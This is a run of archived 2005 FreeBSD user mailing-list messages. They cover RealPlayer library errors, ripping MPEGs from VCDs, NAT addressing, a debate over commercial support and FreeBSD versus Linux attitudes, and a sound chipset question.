14:17:18 -0800 From: "Loren M. Lang" To: Brian John Message-ID: <20050212221718.GS8619@alzatex.com> References: <4205CA2F.9080107@fusemail.com> <20050207114741.GC8619@alzatex.com> <42084226.2060004@fusemail.com> <20050208195025.GI8619@alzatex.com> <42098485.2080404@fusemail.com> <20050209114135.GQ8619@alzatex.com> <420E2C55.1030601@fusemail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <420E2C55.1030601@fusemail.com> User-Agent: Mutt/1.4.1i X-GPG-Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc X-GPG-Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C cc: "Loren M. Lang" cc: freebsd-questions@freebsd.org Subject: Re: problem with realplayer X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 22:17:23 -0000 On Sat, Feb 12, 2005 at 10:18:29AM -0600, Brian John wrote: > Loren M. Lang wrote: > > >On Tue, Feb 08, 2005 at 09:33:25PM -0600, Brian John wrote: > > > > > >>Loren M. Lang wrote: > >> > >> > >> > >>>On Mon, Feb 07, 2005 at 10:37:58PM -0600, Brian John wrote: > >>> > >>> > >>> > >>> > >>>>Loren M. Lang wrote: > >>>> > >>>> > >>>> > >>>> > >>>> > >>>>>On Sun, Feb 06, 2005 at 01:41:35AM -0600, Brian John wrote: > >>>>> > >>>>> > >>>>> > >>>>> > >>>>> > > > > > > > >>> > >>> > >>> > >>> > >>> > >>>>>>Thanks > >>>>>> > >>>>>>/Brian > >>>>>>_______________________________________________ > >>>>>>freebsd-questions@freebsd.org mailing list > >>>>>>http://lists.freebsd.org/mailman/listinfo/freebsd-questions > >>>>>>To unsubscribe, send any mail to > >>>>>>"freebsd-questions-unsubscribe@freebsd.org" > >>>>>> > >>>>>> > >>>>>> > >>>>>> > >>>>>> > >>>>>> > >>>>> > >>>>> > >>>>> > >>>>> > >>>>It looks like it is already installed. This is what it says when I try > >>>>to install it: > >>>>=> Attempting to fetch from > >>>>http://fedora.quicknet.nl/fedora/fedora/2/i386/RPMS.updates/. > >>>>gdk-pixbuf-0.22.0-11.3.5.i386.rpm 100% of 222 kB 52 kBps > >>>>===> Extracting for linux-gdk-pixbuf-0.22.0.11.3.5_1 > >>>>=> Checksum OK for rpm/gdk-pixbuf-0.22.0-11.3.5.i386.rpm. > >>>>===> Patching for linux-gdk-pixbuf-0.22.0.11.3.5_1 > >>>>===> linux-gdk-pixbuf-0.22.0.11.3.5_1 depends on executable: rpm - > >>>>found > >>>>===> Configuring for linux-gdk-pixbuf-0.22.0.11.3.5_1 > >>>>===> Installing for linux-gdk-pixbuf-0.22.0.11.3.5_1 > >>>>===> linux-gdk-pixbuf-0.22.0.11.3.5_1 depends on file: > >>>>/compat/linux/etc/redhat-release - found > >>>>===> Generating temporary packing list > >>>>===> Checking if graphics/linux-gdk-pixbuf already installed > >>>>gdk-pixbuf-0.22.0-11.3.5.i386.rpm > >>>> > >>>>Any other clue what might have caused this? > >>>> > >>>>Thanks for the help > >>>> > >>>>/Brian > >>>> > >>>> > >>>> > >>>> > >>> > >>> > >>> > >>I already tried uninstalling realplayer and gdk-pixbuf using make > >>deinstall and make reinstall in those ports. I installed realplayer > >>from ports. How can I install linux-base-rh-9? I would like to try that. > >> > >> > > > >Here's an idea, since linux_base is already installed, try: > > > >portupgrade -o emulators/linux_base-rh-9 /var/db/pkg/linux_base-* > > > >This tells portupgrade to upgrade the linux_base port, but use the > >origin for the rh9 version. I'm not certain this will work, but it's > >worth a try. I just did a pkg_create -b linux_base-* to make a backup, > >then pkg_delete -f linux_base-* and portinstall emulators/linux_base-rh-9. > > > > > > > >>thanks > >> > >>/Brian > >> > >> > > > > > > > Well, I tried that and now I can't run realplayer at all. This is what > happens: > $ realplay > /usr/local/lib/RealPlayer/realplay.bin: error while loading shared > libraries: libX11.so.6: cannot open shared object file: No such file or > directory > > Any clue how I can fix this? Yea, with -rh9 they moved the X libraries to a seperate port, x11/linux-XFree86-libs, install that and it should work. You may have to add some lines to /usr/compat/linux/etc/ld.so.conf and/or run /usr/compat/linux/sbin/ldconfig. > > Thanks for the help > > /Brian -- I sense much NT in you. NT leads to Bluescreen. Bluescreen leads to downtime. Downtime leads to suffering. NT is the path to the darkside. Powerful Unix is. Public Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 22:51:05 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id EC3A416A4CE; Sat, 12 Feb 2005 22:51:05 +0000 (GMT) Received: from dustpuppy.tbc.net (tbc2.tbc.net [207.112.224.11]) by mx1.FreeBSD.org (Postfix) with ESMTP id A2DE743D2F; Sat, 12 Feb 2005 22:51:05 +0000 (GMT) (envelope-from harrison@tbc.net) Received: from localhost (localhost.localdomain [127.0.0.1]) by dustpuppy.tbc.net (Postfix) with ESMTP id 9480111BE5C; Sat, 12 Feb 2005 16:51:18 -0600 (CST) Received: from dustpuppy.tbc.net ([127.0.0.1]) by localhost (dustpuppy.tbc.net [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 21919-09; Sat, 12 Feb 2005 16:51:18 -0600 (CST) Received: from [209.100.183.159] (adsl-183-159.tbcnet.com [209.100.183.159]) by dustpuppy.tbc.net (Postfix) with ESMTP id 49F8811C486; Sat, 12 Feb 2005 16:51:18 -0600 (CST) Message-ID: <420E88EF.8030405@tbc.net> Date: Sat, 12 Feb 2005 16:53:35 -0600 From: Shawn Harrison User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: freebsd-advocacy@freebsd.org References: <420E5604.9040401@401.cx> <8c411210ef532a4d2d5fd69636632809@czv.com> In-Reply-To: <8c411210ef532a4d2d5fd69636632809@czv.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: by amavisd-new at tbc.net cc: freebsd-questions@freebsd.org Subject: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 22:51:06 -0000 Chris Zumbrunn wrote [02/12/05 1:53 PM]: > Don't you think this Beastie qualifies as a professional logo? > > http://top.ch/sitedata/freebsd/beastie.gif He's certainly austere enough with that Roman nose. "Gravitas." -- ________________ harrison@tbc.net From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 22:59:25 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 9DA8B16A4CE for ; Sat, 12 Feb 2005 22:59:25 +0000 (GMT) Received: from imf16aec.mail.bellsouth.net (imf16aec.mail.bellsouth.net [205.152.59.64]) by mx1.FreeBSD.org (Postfix) with ESMTP id D134443D46 for ; Sat, 12 Feb 2005 22:59:24 +0000 (GMT) (envelope-from ahze@ahze.net) Received: from [192.168.1.5] ([68.209.163.3]) by imf16aec.mail.bellsouth.netESMTP <20050212225924.ZVIE1983.imf16aec.mail.bellsouth.net@[192.168.1.5]>; Sat, 12 Feb 2005 17:59:24 -0500 In-Reply-To: <20050212144655.14377.qmail@web51607.mail.yahoo.com> References: <20050212144655.14377.qmail@web51607.mail.yahoo.com> Mime-Version: 1.0 (Apple Message framework v682) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Michael Johnson Date: Sat, 12 Feb 2005 17:59:18 -0500 To: Mark Jayson Alvarez X-Mailer: Apple Mail (2.682) cc: freebsd-questions@freebsd.org Subject: Re: Any success in extracting mpeg from a vcd? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 22:59:25 -0000 On Feb 12, 2005, at 9:46 AM, Mark Jayson Alvarez wrote: > Hi, > Do you have any success extracting mpeg files from > a vcd?For sure I can play them with mplayer with vcd > option but I haven't had any luck extracting them. > I've been trying to figure out how vcdgear(console) or > vcdxrip(vcdimager) works but still no luck. > Any idea how they work?? > I'm using FreeBSD5.3. I have installed them from ports > My cdrom drive is at /dev/acd0 > mplayer .... -dumpstream will dump all mpeg from the vcd in to one big mpeg file. Michael From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 23:02:32 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D055916A4CE for ; Sat, 12 Feb 2005 23:02:32 +0000 (GMT) Received: from lakermmtai02.cox.net (lakermmtai02.cox.net [68.230.240.57]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3DC5E43D1D for ; Sat, 12 Feb 2005 23:02:32 +0000 (GMT) (envelope-from myfreebsd@cox.net) Received: from [192.168.1.101] (really [68.226.7.134]) by lakermmtao11.cox.net (InterMail vM.6.01.04.00 201-2131-117-20041022) with ESMTP id <20050212230229.CJED3313.lakermmtao11.cox.net@[192.168.1.101]>; Sat, 12 Feb 2005 18:02:29 -0500 Message-ID: <42152121.6060606@cox.net> Date: Thu, 17 Feb 2005 17:56:33 -0500 From: David Wassman User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Michael L. Squires" References: <4214184F.5060700@cox.net> <20050212170303.I20670@familysquires.net> In-Reply-To: <20050212170303.I20670@familysquires.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit cc: freebsd-questions@freebsd.org Subject: Re: Problem accessing net from a NAT Firewall X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 23:02:32 -0000 Micheal, The IP addresses are the same ones used in The Complete FreeBSD from Greg Lehey for the back end network. I can use 192.x.x.x or 172.x.x.x to see if they work. Will let you know. Thanks for the help. David Michael L. Squires wrote: > I don't understand this entry: > > On Wed, 16 Feb 2005, David Wassman wrote: > >> # static address for internal interface >> ifconfig_xe0="inet 223.147.37.1 netmask 255.255.255.0 broadcast >> 223.147.37.255" >> > > This is a valid IP address, not one of the three sets of IP numbers > reserved for internal networks (you use one, 172.x.x.x, in your > firewall script). Shouldn't the internal network address be one of > those three, i.e., one of 192.x.x.x, 172.x.x.x, 10.x.x.x ? > > Or I may not be understanding your setup at all. > > I have a cable model, FreeBSD 4.11 firewall/NAT, internal network > using 10.x.x.x numbers (bad choice, 10.x.x.x is used by Comcast/ATT, > etc.), 100Mbit switch, 1 Mac, 4 MS, 3 FreeBSD clients all using IP > numbers in the 10.x.x.x range. > > MLS > > From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 23:07:27 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1B02016A4CE for ; Sat, 12 Feb 2005 23:07:27 +0000 (GMT) Received: from gromit.dlib.vt.edu (gromit.dlib.vt.edu [128.173.49.29]) by mx1.FreeBSD.org (Postfix) with ESMTP id 8594D43D31 for ; Sat, 12 Feb 2005 23:07:26 +0000 (GMT) (envelope-from paul@gromit.dlib.vt.edu) Received: from zappa.Chelsea-Ct.Org (pool-151-199-113-125.roa.east.verizon.net [151.199.113.125]) by gromit.dlib.vt.edu (8.13.1/8.13.1) with ESMTP id j1CN7OwN008659 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sat, 12 Feb 2005 18:07:25 -0500 (EST) (envelope-from paul@gromit.dlib.vt.edu) Received: from zappa.Chelsea-Ct.Org (localhost.Chelsea-Ct.Org [127.0.0.1]) by zappa.Chelsea-Ct.Org (8.13.1/8.13.1) with ESMTP id j1CN7INY033472 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sat, 12 Feb 2005 18:07:19 -0500 (EST) (envelope-from paul@gromit.dlib.vt.edu) Received: (from paul@localhost) by zappa.Chelsea-Ct.Org (8.13.1/8.13.1/Submit) id j1CN7IEq033471; Sat, 12 Feb 2005 18:07:18 -0500 (EST) (envelope-from paul@gromit.dlib.vt.edu) X-Authentication-Warning: zappa.Chelsea-Ct.Org: paul set sender to paul@gromit.dlib.vt.edu using -f From: Paul Mather To: freebsd-questions@freebsd.org In-Reply-To: <20050212203851.D694116A4D3@hub.freebsd.org> References: <20050212203851.D694116A4D3@hub.freebsd.org> Content-Type: text/plain Content-Transfer-Encoding: 7bit Date: Sat, 12 Feb 2005 18:07:18 -0500 Message-Id: <1108249638.32574.49.camel@zappa.Chelsea-Ct.Org> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 FreeBSD GNOME Team Port cc: Anthony Atkielski Subject: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 23:07:27 -0000 On Sat, 12 Feb 2005 21:25:36 +0100, Anthony Atkielski wrote: > Paul Mather writes: > > > As I said, that's why you'd contract with one of those outfits in > the > > "Vendors" section. > > If they can do the job. Since they didn't write the code, though, they > aren't ultimately accountable for it. I hate to burst your bubble, but neither is any other OS vendor ultimately accountable for its code. By that, I mean you can file "problem reports" or "trouble tickets" or whatever the phrase du jour is, but the company is ultimately under no obligation to fix them. (Also, if you read your license carefully, they don't guarantee the OS will work, nor are you protected against it destroying your data.) Even some critical reported bugs go unfixed for relatively long periods of time. (This is not to suggest that problems don't get fixed, but merely an illustration that when it comes down to it, you have no guarantees with them, either.) Just because a support/contracting company is not "ultimately accountable" for code they didn't write does not mean they can't put together a well-crafted solution that is known and tested to work within given client parameters. (FreeBSD's general adherence to POLA helps here.) MSCEs aren't "ultimately accountable" for Windows code, but they get hired all the time to fix things and build solutions, right? > > BTW, it is usually not realistic to expect an organisation to have > "all > > the expertise it needs to support those solutions in-house and on > site." > > That depends on the size of the organization. I've encountered > organizations that wrote their own operating systems. Which would make them representative examples, I suppose (note my use of the word "usually")... And, with that statement, I'll confess that the laws of diminishing returns threshold has now been reached for me in this thread and I'll bid my farewell. The reason I posted in what is probably the biggest bikeshed of the year was due to one of your pronouncements that it was not possible to get professional "telephone support" when it comes to FreeBSD. I pointed out it is. That's all. I'll leave it to the various consultants that frequent the list(s) to argue the merits and relative quality of the service they provide. :-) Cheers, Paul. -- e-mail: paul@gromit.dlib.vt.edu "Without music to decorate it, time is just a bunch of boring production deadlines or dates by which bills must be paid." --- Frank Vincent Zappa From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 23:11:25 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3D71E16A4CE for ; Sat, 12 Feb 2005 23:11:25 +0000 (GMT) Received: from dave.horsfall.org (mrdavi2.lnk.telstra.net [139.130.75.233]) by mx1.FreeBSD.org (Postfix) with ESMTP id CB92D43D45 for ; Sat, 12 Feb 2005 23:11:22 +0000 (GMT) (envelope-from dave@horsfall.org) Received: from localhost (dave@localhost) by dave.horsfall.org (8.11.4/8.11.4) with ESMTP id j1CNBKA17088 for ; Sun, 13 Feb 2005 10:11:20 +1100 (EST) Date: Sun, 13 Feb 2005 10:11:19 +1100 (EST) From: Dave Horsfall To: freebsd-questions@freebsd.org In-Reply-To: <20050212131605.X94542@kenmore.kozy-kabin.nl> Message-ID: References: <20050211034704.17082.qmail@mail.datahive.ca> <20050212131605.X94542@kenmore.kozy-kabin.nl> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: Re: FusionPHP.net - Online Again Now!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 23:11:25 -0000 On Sat, 12 Feb 2005, Colin J. Raven wrote: > > Note: The paypal payment still stands, please provide us with proof > > you have forwarded the email to 250 people and include your paypal > > email address where we can send the money!!! > > What you're suggesting is spammy. I don't doubt your good intentions, I > don't doubt that php-fusion is decent software (I know it is) but > *think* about what you suggested. This is what's known as a "joe job". Now, who has an interest in discrediting php-fusion? -- Dave From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 23:48:51 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6212616A4CE for ; Sat, 12 Feb 2005 23:48:51 +0000 (GMT) Received: from mattvirushome.dynu.com (h139-055-210-165.adsl.navix.net [139.55.210.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id 66E7D43D1D for ; Sat, 12 Feb 2005 23:48:50 +0000 (GMT) (envelope-from mattvirus@navix.net) Received: from [127.0.0.1] ([192.168.254.17])j1CNmlFm005817; Sat, 12 Feb 2005 17:48:48 -0600 (CST) (envelope-from mattvirus@navix.net) Message-ID: <420E95D2.1000905@navix.net> Date: Sat, 12 Feb 2005 17:48:34 -0600 From: matt virus User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Mark Jayson Alvarez , freebsd References: <20050212144655.14377.qmail@web51607.mail.yahoo.com> In-Reply-To: <20050212144655.14377.qmail@web51607.mail.yahoo.com> Content-Type: text/plain; charset=windows-1252; format=flowed Content-Transfer-Encoding: 8bit Subject: Re: Any success in extracting mpeg from a vcd? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 23:48:51 -0000 use vcdgear -- it's in the ports collection. Mark Jayson Alvarez wrote: > Hi, > Do you have any success extracting mpeg files from > a vcd?For sure I can play them with mplayer with vcd > option but I haven't had any luck extracting them. > I've been trying to figure out how vcdgear(console) or > vcdxrip(vcdimager) works but still no luck. > Any idea how they work?? > I'm using FreeBSD5.3. I have installed them from ports > My cdrom drive is at /dev/acd0 > > Pleaaaasee... I'm begging you... pleaaaseee... I've > tried various combinations of options with those > programs I've mentioned above but I'm just too dumb > that I can't figure out how I should be doing it. I > know someday I may be able to comprehend with their > manual, its just that I don't have enough time. If I > don't return those vcd's to the shop, I will be paying > a huge fine:(. > Why does it always have to be this way? I was a > long time windows user and I know its a tough decision > to completely eradicate that entire partition > dedicating it all to freebsd, just to be able to learn > the "right" way how people should be using a computer. > > I remember one time, I have been reading the > manual of ldconfig over and over again because of some > program that doesn't compile not knowing where my > libraries are, and I've played with various options > trying to restore the hint files I've messed with only > to find out that a complete reboot or just "ldconfig" > alone will bring it back. > I just can't get it. I've had a hard time trying to > make my modem dial up to internet, and nearly freaked > out trying to compile a new kernel with atapicam > support, or even skipped a meal trying to learn the vi > editor, and even messed really bad with one of our > production servers at work trying to create a cvsup > mirror, > and worst, I even got a lot of awful response when I > try to ask a simple question about running packet > filter at openbsd's mailing list where a lot of them > said "hey, this is not linux, there's no Linux-Howto's > here. RTFM!" > I just can't understand it. Why do people have to > endure such hardships when they have other choices. > What does those people from ports collection gets from > maintaining such application that they barely even > know if someone have ever looked at its package > description. What do you get from responding to these > questions. Yeah, you can laugh at me now. I'm pathetic > that's it. Open Source is free and free software is > good. I'm not an advocate but just a simple user > trying to extract these f*ck*ng mpegs out of these > damn vcds!! Tomorrow I'll be returning those vcd's to > the shop with one day fine, but I won't sleep tonight > till I get those mpegs written right on the very > surface of my hardrive... > > > > > > > > > > > > > __________________________________ > Do you Yahoo!? > All your favorites on one personal page – Try My Yahoo! > http://my.yahoo.com > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > -- Matt Virus ("veer-iss") http://www.mattvirus.net From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 23:55:08 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D1F5F16A4CE for ; Sat, 12 Feb 2005 23:55:08 +0000 (GMT) Received: from hosea.tallye.com (joel.tallye.com [216.99.199.78]) by mx1.FreeBSD.org (Postfix) with ESMTP id DB86943D45 for ; Sat, 12 Feb 2005 23:55:07 +0000 (GMT) (envelope-from lorenl@alzatex.com) Received: from hosea.tallye.com (hosea.tallye.com [127.0.0.1]) by hosea.tallye.com (8.12.8/8.12.10) with ESMTP id j1CNt6Gf031270 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 12 Feb 2005 15:55:06 -0800 Received: (from sttng359@localhost) by hosea.tallye.com (8.12.8/8.12.10/Submit) id j1CNt5Kx031268; Sat, 12 Feb 2005 15:55:05 -0800 X-Authentication-Warning: hosea.tallye.com: sttng359 set sender to lorenl@alzatex.com using -f Date: Sat, 12 Feb 2005 15:55:05 -0800 From: "Loren M. Lang" To: Ramiro Aceves Message-ID: <20050212235505.GT8619@alzatex.com> References: <200502112313.28082.hindrich@worldchat.com> <823196404.20050212105644@wanadoo.fr> <420DE422.3020102@wanadoo.es> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <420DE422.3020102@wanadoo.es> User-Agent: Mutt/1.4.1i X-GPG-Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc X-GPG-Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C cc: freebsd-questions@freebsd.org Subject: Re: Freebsd vs. linux X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 23:55:08 -0000 On Sat, Feb 12, 2005 at 12:10:26PM +0100, Ramiro Aceves wrote: > Anthony Atkielski wrote: > [...] > > > >Still another reason why I prefer FreeBSD is that it places far less > >emphasis on the desktop. Linux has been moving more and more towards a > >desktop because that's where the hype and money is perceived to be. > [...] > > Hello Anthony and FreeBSD fans > > > I although have observed that in this list, some of you hate Linux. > I have never seen insults to FreeBSD in the Debian e-mail lists. They > some times talk about some experiences about FreeBSD, but never say > things like " such crap FreeBSD ......" as I have heard here many times. > Be in peace my friends. Actually, in my experience, I've heard more Linux people dissing on BSD and other Unices and more BSD people accepting and even using both Linux and BSD together. At lot of Linux people seem to get a big head about their OS and kernel. (A lot != high percentage) I noticed this back when all I was was a linux guy, but I was not one to dis on other unices. Also, I do like both a lot and see advantages in both. > > Anyway, I like both very much, I am following this e-mail list and > playing with my FreeBSD install in another slice to get confortable and > perhaps, one day, I will change. Also I try to help the FreeBSD proyect > submitting some bug reports as I found them. I am not an expert but I > enjoy helping others. > > > PS: I am a christian and I DO NOT see any reasons to hate the beastie. I > love the beastie, I find it nice, pleasant and kind. I like it very > much. Do not change it please! ;-) P.S. I am also a born-again christian and have never thought anything bad of beastie, it's not a demon after all. I don't think it should be changed. > > Sorry for my bad english. > Enjoy the Free OSes. > > Ramiro. > > > > > > > > > > > > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" -- I sense much NT in you. NT leads to Bluescreen. Bluescreen leads to downtime. Downtime leads to suffering. NT is the path to the darkside. Powerful Unix is. Public Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C From owner-freebsd-questions@FreeBSD.ORG Sun Feb 13 00:00:42 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 9906916A4CE for ; Sun, 13 Feb 2005 00:00:42 +0000 (GMT) Received: from postfix3-1.free.fr (postfix3-1.free.fr [213.228.0.44]) by mx1.FreeBSD.org (Postfix) with ESMTP id 58A7643D1D for ; Sun, 13 Feb 2005 00:00:42 +0000 (GMT) (envelope-from vincent_bachelier@yahoo.fr) Received: from vincent (ferreol-1-82-66-171-150.fbx.proxad.net [82.66.171.150]) by postfix3-1.free.fr (Postfix) with SMTP id 72A24173495 for ; Sun, 13 Feb 2005 01:00:41 +0100 (CET) Received: by vincent (sSMTP sendmail emulation); Sun, 13 Feb 2005 01:00:52 +0100 Date: Sun, 13 Feb 2005 01:00:52 +0100 From: Bachelier Vincent To: freebsd-questions@freebsd.org Message-ID: <20050213000052.GA1290@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.2.1i X-Operating-System: FreeBSD vincent 5.3-RELEASE-p5 FreeBSD 5.3-RELEASE-p5 Subject: Sound VIA VT8237 with numerical channel support ? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 13 Feb 2005 00:00:42 -0000 Hi, Well I have a internal sound card based on chipset via FreeBSD Audio Driver (newpcm) Installed devices: pcm0: at io 0xc800 irq 22 (5p/1r/0v channels duplex default) Under linux, alsa drivers support for numerical output. I see that under Freebsd with the kernel drivers, we only have analogical one. How can I setup the other ? Need opensound drivers ? Well, thx for support -- Vincent Bachelier Societe : Solintech Site pro: http://www.solintech.fr Project : Ripperwww: http://www.sourceforge.net/projects/ripperwww Citation (fortune): Authors (and perhaps columnists) eventually rise to the top of whatever depths they were once able to plumb. -- Stanley Kaufman